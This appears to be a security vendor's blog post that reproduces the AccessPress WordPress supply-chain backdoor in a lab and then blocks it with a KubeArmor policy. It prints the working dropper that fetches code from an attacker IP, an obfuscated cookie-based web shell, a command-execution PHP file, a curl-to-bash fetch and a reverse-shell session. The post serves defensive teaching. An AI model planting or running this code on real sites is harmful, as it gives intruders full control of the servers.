Introduction

WordPress is the most popular and easiest way to create your website or blog. WordPress is likely to power more than one-fourth of the websites you visit.

WordPress is an open-source content management system released under the GPLv2 license, which means that anybody can use or change the WordPress software for free. As a result, WordPress is much more prone to attacks and vulnerabilities.

In this blog, we’ll be looking at one of the recent supply chain attacks that hit WordPress.

What is the actual vulnerability?

AccessPress, a popular WordPress plugin, and theme author was recently compromised, and their software was replaced with backdoored versions, according to security researchers at Automattic. In other words, rather than physically compromising systems by exploiting vulnerable software components, attackers gained access to the very source that websites and network administrators use. By doing so the attackers gained access to almost all the systems that use the said plugins and themes.

How did this happen?

To better understand the vulnerability and how it is working, let's go ahead and replicate it in a controlled environment.

We will create a new Kubernetes cluster with default values.

gcloud container clusters create wordpress-demo --zone us-central1-c
Kubernetes cluster

Once the cluster is ready we’ll deploy the WordPress application with a vulnerable plugin to simulate the attack.

For this, we have created a complete YAML for WordPress installation on Kubernetes. You can use this predefined deployment file to quickly deploy WordPress to your Kubernetes environment.

kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/wordpress-demo/k8s-wordpress.yaml
YAML

With this, the initial setup is completed. It's time to upload the vulnerable plugin and dissect the attack pattern.

The Supply Chain Attack Tree

To explain the vulnerability, let's take a look at the root cause of this issue,  the supply chain attack.

After gaining access to the AccessPress website, the attackers installed PHP backdoors in many of the group's free software components. There were 40 themes and 53 plugins that were known to be impacted.

Supply chain attack tree
Supply chain attack tree

The backdoor was simple, yet it gave the attackers complete access to the victim's web pages. The first thing they did was create a new file called initial.php in the main plugin directory, which they then included in the main function code.

We’ll use a slightly modified version of the exploit code to show the workflow.

function vmagazine_lite_scripts(){
    $filename = '/var/www/html/wp-content/plugins/inital.php';
    $url = "http://152.67.166.153/initial.php";
    
    // Initialize a CURL session.
    $ch = curl_init();
    
    // Return Page contents.
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    
    //grab URL and pass it to the variable.
    curl_setopt($ch, CURLOPT_URL, $url);
    
    //output the curl content to initial.php file
    $result = curl_exec($ch);
    file_put_contents($filename, $result);

    //checks if the filename exist, if yes then calls the makeInit function 
    //on initial.php file and deletes the initial.php file after successful 
    //execution 
    if (file_exists($filename)) {
        include($filename); 
        makeInit();
        finishIntt();
    }
}
exploit code

Since this is etched into the source code of the plugin’s source code itself, it’ll execute the moment you download and activate the plugin.

This simple code created a new file in the plugin or theme folder respectively and started its execution by adding values to the vars.php file.

The malicious extensions featured a web shell dropper, giving the attackers complete access to the affected sites. The dropper can be found in the inital.php file in the plugin or theme's main directory. It creates a cookie-based web shell in wp-includes/vars.php when it is activated. The shell is installed as a function named wp_is_mobile_fix() immediately before the wp_is_mobile() function to avoid arousing suspicion even if someone casually browses the vars.php file.

<?php 

  function finishIntt() { 
      unlink(__FILE__); 
  }

  function makeInit() {
      $b64 = 'ba' . 'se64' . '_dec' . 'ode';
      $b = 'ZnVuY3Rpb24gd3BfaXNfbW9iaWxlX2ZpeCgpIHsKCSRpc193cF9tb2JpbGUgPSAoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddID09ICd3cF9pc19tb2JpbGUnKTsKCSRnID0gJF9DT09LSUU7CgoJKGNvdW50KCRnKSA9PSA4ICYmICRpc193cF9tb2JpbGUpID8KCSgoJHFyID0gJGdbMzNdLiRnWzMyXSkgJiYgKCRpdiA9ICRxcigkZ1s3OF0uJGdbMThdKSkgJiYKCSgkX2l2ID0gJHFyKCRnWzEyXS4kZ1sxN10pKSAmJiAoJF9pdiA9IEAkaXYoJGdbMTBdLCAkX2l2KCRxcigkZ1s1M10pKSkpICYmIAoJQCRfaXYoKSkgOiAkZzsKCQoJcmV0dXJuICRpc193cF9tb2JpbGU7Cn0KCndwX2lzX21vYmlsZV9maXgoKTsK';
      $f = '/var/www/html/wp-includes/vars.php'; 
      
      if(file_exists($f)) { 
          $fp = 0777 & @fileperms($f); 
          $ft = @filemtime($f);
          $fc = @file_get_contents($f); 

          if(strpos($fc, 'wp_is_mobile_fix') === false) { 
              $fc = str_replace('function wp_is_mobile()', 
                    $b64($b) . 'function wp_is_mobile()', 
                    $fc); 
              @file_put_contents($f, $fc); 
              @touch($f, $ft); 
              @chmod($f, 0777); 
          } 
          return true;  
      } 
      return false;
  }
 
  if ( !function_exists( 'wp_notice_plug' ) ) {
      function wp_notice_plug() { 
          echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?th=' . $_SERVER["HTTP_HOST"] . '&thn=vmagazine-lite">'; 
      }
  }
Php file

The file also connects to a malicious URL to further receive queries and remove the dropper file once execution is completed to avoid traces.

Once the execution is completed you will notice that the vars.php file now has an extra function wp_is_mobile_fix() created by the dropper file.

Let's see this in action.

To replicate the issue, we will upload accesspress-anonymous-post-v2.8.0.

You can download the vulnerable version from samples/WordPress-demo at main · accuknox/samples

Once uploaded and activated we will execute inside the WordPress pod to confirm the changes.

kubectl exec -it $(kubectl get pod -ltier=frontend -o name | cut -d / -f2) -- bash
WordPress pod

Alright! Now we will check for initial.php and vars.php. (Since the exploit deletes the initial.php once execution is completed it is highly unlikely to see the initial.php file. But the file will be downloaded to wordpress-root-folder/wp-content/plugins/ or wordpress-root-folder/wp-content/themes/ accordingly.). It also downloads a PHP payload acc.php which can cause RCE.

cat cat wp-includes/vars.php

<?php
/**
 * Creates common globals for the rest of WordPress
 *
 * Sets $pagenow global which is the current page. Checks
 * for the browser to set which one is currently being used.
 
 <--snip-->
 
 function wp_is_mobile_fix() {
    $is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
    $g = $_COOKIE;

    (count($g) == 8 && $is_wp_mobile) ?
    (($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
    ($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
    @$_iv()) : $g;

    return $is_wp_mobile;
}

wp_is_mobile_fix();
function wp_is_mobile() {

<--snip-->
Php file1

The exploit does its magic and installed a shell inside the vars.php file. if the request's user agent string is wp_is_mobile and contains eight specified cookies It assembles and runs a payload from the cookies provided.

cat acc.php

<?php 
  if(isset($_REQUEST['cmd'])) { 
    echo "<pre>"; 
    $cmd = ($_REQUEST['cmd']); 
    system($cmd); 
    echo "</pre>"; 
    die; 
  }
?>
Php file

An attacker can craft make use of this and send in crafted commands to get information or even escalate it into an RCE.

To see it in action let us get the IP of our WordPress pod

kubectl get svc

NAME         TYPE           CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
kubernetes   ClusterIP      10.16.0.1    <none>        443/TCP   9h
wordpress    LoadBalancer   10.16.0.23   34.66.11.191  80/TCP    9h
WordPress pod2
http://34.66.11.191/acc.php?cmd=curl+-s+http://152.67.166.153/script.sh+|+bash
Script

The script.sh file has a bash reverse shellcode embedded in it. So once we go to this URL we’ll get a reverse shell connection established.

nc -lnvp 8000

Listening on 0.0.0.0 8000
Connection received on 34.72.241.182 38840
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/www/html$ whoami
whoami
www-data
[email protected]:/var/www/html$ hostname
hostname
wordpress-5994d99f46-zjt86
[email protected]:/var/www/html$ 
Shell code

You can download the script.sh file samples/wordpress-demo at main · accuknox/samples

Providing Run-time protection and defending against the vulnerability with AccuKnox Open-source tools

Accuknox enables the ability to protect your workloads at run-time. Accuknox enables this by allowing you to configure policies (or auto-discover them) for application and network behavior using KubeArmor, Cilium, and Auto Policy Discovery tools

KubeArmor, is open-source software that enables you to protect your cloud workload at run-time.

The problem that KubeArmor solves is that it can prevent cloud workloads from executing malicious activity at runtime.  Malicious activity can be any activity that the workload was not designed for or is not supposed to do.

Given a policy, KubeArmor can restrict the following types of behavior on your cloud workloads:

  • File access - allow/deny specific paths
  • Allow / deny Process execution / forking
  • Allow / Deny Establish network connections
  • Allow / Deny workloads to request other capabilities with the host os. Such capabilities can enable additional types of malicious behavior.

Cilium, is an open-source project to provide eBPF-based networking, security, and observability for cloud-native environments such as Kubernetes clusters and other container orchestration platforms.

We will be able to block this attack by enforcing a simple system policy via KubeArmor; the policy is as follows:

# KubeArmor is an open source software that enables you to protect your cloud workload at run-time.
# To learn more about KubeArmor visit: 
# https://www.accuknox.com/kubearmor/ 

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: ksp-cve-2021-24867-block-wordpress-supply-chain-attack
spec:
  tags: ["CVE","K8s","CVE-2021-24867", "WordPress", "Supply chain"]
  message: "Alert! *.php file created, possible exploitation of CVE-2021-24867"
  selector:
    matchLabels:
      app: wordpress
  file:
    severity: 6
    matchPatterns:
    - pattern: /**/initial.php
  action:
    Block
  process:
    severity: 6
    matchPatterns:
    - pattern: /**/curl
    - pattern: /**/bash
  action:
    Block
kubearmor policy

The Policy: In-action

kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-cve-2021-24867-block-wordpress-supply-chain-attack.yaml
Policy template

After applying the policy let's go ahead and upload the plugin again to see what happens. The policy blocks the creation of initial.phpfile and denies RCE via the acc.php

Checking the policy logs on KubeArmor

There are two ways we can check policy logs on KubeArmor.

Using kubearmor.log

The traditional way is all about finding the KubeArmor pod running on the same node as the application pod and executing inside it to find logs.

  1. Get the node name which your application pod is running
kubectl get pods -o wide

NAME                         READY   STATUS    RESTARTS   AGE   IP           NODE                                            NOMINATED NODE   READINESS GATES
wordpress-5994d99f46-2h7ml   1/1     Running   0          46s   10.124.0.5   gke-wordpress-demo-default-pool-1cc20b06-7nfl   <none>           <none>
Pod

2. We will take the node name gke-wordpress-demo-default-pool-1cc20b06-7nfl and check for the KubeArmor pod running on it.

kubectl get po -A -lkubearmor-app=kubearmor -o wide

NAMESPACE     NAME              READY   STATUS    RESTARTS   AGE   IP              NODE                                            NOMINATED NODE   READINESS GATES
kube-system   kubearmor-k9d47   1/1     Running   0          23s   10.128.15.205   gke-wordpress-demo-default-pool-1cc20b06-x7ws   <none>           <none>
kube-system   kubearmor-xh4zb   1/1     Running   0          23s   10.128.15.204   gke-wordpress-demo-default-pool-1cc20b06-7nfl   <none>           <none>
kube-system   kubearmor-zmrp7   1/1     Running   0          23s   10.128.15.206   gke-wordpress-demo-default-pool-1cc20b06-zwfb   <none>           <none>
Kubearmor pod

3. We got to know that kubearmor-xh4zb the pod is running on node gke-wordpress-demo-default-pool-1cc20b06-7nfl.

4. Let us execute into the pod and watch the logs (you watch the entire logs or grep it with keywords like policy name)

kubectl -n kube-system exec -it kubearmor-xh4zb -- tail -f /tmp/kubearmor.log | grep -i ksp-cve-2021-24867-block-wordpress-supply-chain-attack | jq
Policy

5. Blocked Log Created by KubeArmor

{
  "timestamp": 1643663313,
  "updatedTime": "2022-01-31T21:08:33.133142Z",
  "hostName": "gke-wordpress-demo-default-pool-1cc20b06-7nfl",
  "namespaceName": "default",
  "podName": "wordpress-5994d99f46-2h7ml",
  "containerID": "4a424a53effbe6318c7dd03021cbad9f2287ec0931c5500a42ff9321a79a2485",
  "containerName": "wordpress",
  "hostPid": 26759,
  "ppid": 1,
  "pid": 191,
  "uid": 33,
  "policyName": "ksp-cve-2021-24867-block-wordpress-supply-chain-attack",
  "severity": "6",
  "tags": "CVE,K8s,CVE-2021-24867,WordPress,Supply chain",
  "message": "Alert! *.php file created, possible exploitation of CVE-2021-24867",
  "type": "MatchedPolicy",
  "source": "apache2",
  "operation": "File",
  "resource": "/var/www/html/wp-content/plugins/initial.php",
  "data": "syscall=SYS_OPEN flags=/var/www/html/wp-content/plugins/initial.php",
  "action": "Block",
  "result": "Permission denied"
}
{
  "timestamp": 1643739826,
  "updatedTime": "2022-02-01T18:23:46.601026Z",
  "hostName": "gke-wordpress-demo-default-pool-d7b8622d-lr75",
  "namespaceName": "default",
  "podName": "wordpress-68f6d5cdd6-qjfqs",
  "containerID": "c17fd508c3bd6b62f42dca5128aeb93b6fe53d6609737f52aa84a1dc14e90025",
  "containerName": "wordpress",
  "hostPid": 214475,
  "ppid": 231,
  "pid": 232,
  "uid": 33,
  "type": "ContainerLog",
  "source": "sh",
  "operation": "Process",
  "resource": "/usr/bin/curl -s http://152.67.166.153/script.sh",
  "data": "syscall=SYS_EXECVE",
  "result": "Permission denied"
}
{
  "timestamp": 1643739826,
  "updatedTime": "2022-02-01T18:23:46.600401Z",
  "hostName": "gke-wordpress-demo-default-pool-d7b8622d-lr75",
  "namespaceName": "default",
  "podName": "wordpress-68f6d5cdd6-qjfqs",
  "containerID": "c17fd508c3bd6b62f42dca5128aeb93b6fe53d6609737f52aa84a1dc14e90025",
  "containerName": "wordpress",
  "hostPid": 214476,
  "ppid": 231,
  "pid": 233,
  "uid": 33,
  "type": "ContainerLog",
  "source": "sh",
  "operation": "Process",
  "resource": "/bin/bash",
  "data": "syscall=SYS_EXECVE",
  "result": "Permission denied"
}
Blocked log

Using kArmor

kArmor is a CLI client to help manage KubeArmor. With kArmoryou can get the logs in 2 steps

  1. Download and Install kArmor CLI (if not present)
curl -sfL https://raw.githubusercontent.com/kubearmor/kubearmor-client/main/install.sh | sudo sh -s -- -b /usr/local/bin

2.   Enable port-forwarding for KubeArmor relay

kubectl port-forward -n kube-system svc/kubearmor 32767:32767&

3.   Observing logs using kArmor cli

karmor log

4.   Blocked Log Created by kArmor

gRPC server: localhost:32767
Handling connection for 32767
Created a gRPC client (localhost:32767)
Checked the liveness of the gRPC server
Started to watch alerts
== Alert / 2022-01-20 20:34:51.013366 ==
Cluster Name: wordpress-demo
Host Name: gke-wordpress-demo-default-pool-1cc20b06-7nfl
Policy Name: ksp-cve-2021-24867-block-wordpress-supply-chain-attack
Severity: 6
Tags: CVE,K8s,CVE-2021-24867,WordPress,Supply chain
Message: Alert! *.php file created, possible exploitation of CVE-2021-24867
Type: MatchedPolicy
Source: apache2
Operation: File
Resource: /var/www/html/wp-content/plugins/initial.php
Data: syscall=SYS_OPEN flags=/var/www/html/wp-content/plugins/initial.php
Action: Block
Result: Permission denied
word press supply chain attack

Auto Policy Discovery for your WordPress Application

Even though writing KubeArmor and CIlium (System and Network) policies are not a big challenge AccuKnox opensource has it simplified one step further by introducing a new CLI tool for Auto Discovered Policies. The Auto-Discovery module helps users by identifying the flow and generating policies based on it.

Discovering policies has never been better with Auto Discovery. In two simple commands, you can set up and generate policies without having any trouble.

To auto-discover policies, execute the following command

curl -s https://raw.githubusercontent.com/accuknox/tools/main/get_discovered_yamls.sh | bash

You should be able to see the following output.

Downloading discovered policies from pod=knoxautopolicy-684854b4f4-tpm4w
{
  "res": "ok"
}
Got 10 cilium policies in file cilium_policies.yaml
{
  "res": "ok"
}
Got 10 kubearmor policies in file kubearmor_policies_ext.yaml
Discoveries policy

In mere seconds after installing executing auto policy discovery tool, it generated 10 Cilium policies and 3 KubeArmor policies.

Auto Discovery was able to discover network-level policies that allow communication from WordPress frontend pod to MySQL pod only via port 3306 thereby eliminating the possibility of any attacks on MySQL pod from external or internal rogue pods.

apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
  name: autopol-ingress-mkokuevhudhegvx
  namespace: default
spec:
  endpointSelector:
    matchLabels:
      app: wordpress
      tier: mysql
  ingress:
  - fromEndpoints:
    - matchLabels:
        app: wordpress
        k8s:io.kubernetes.pod.namespace: default
        tier: frontend
    toPorts:
    - ports:
      - port: "3306"
        protocol: TCP
MySQL pod

These features by AccuKnox open-source make sure that all the necessary policies to secure your workload are generated and ready to be used in a single click.

Accuknox's policy templates repository

Accuknox's policy templates is an open-source repo that contains a wide range of attack prevention techniques, including MITRE and hardening techniques for your workloads. Please visit GitHub - kubearmor/policy-templates: Community curated list of System and Network policy templates for the KubeArmor and Cilium to download and apply policy templates.

Conclusion

Even though supply-chain attacks are more brutal to avoid and protect from, with AccuKnox opensource tools, you can prevent your workloads from possible threats and vulnerabilities.

Using AccuKnox open-source tools, an organization can effectively protect against all sorts of accidental developer-introduced vulnerabilities and/or known/unknown vulnerabilities.


Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you are seeking additional guidance in planning your cloud security program.

Read more blogs from Cloud Security Category here.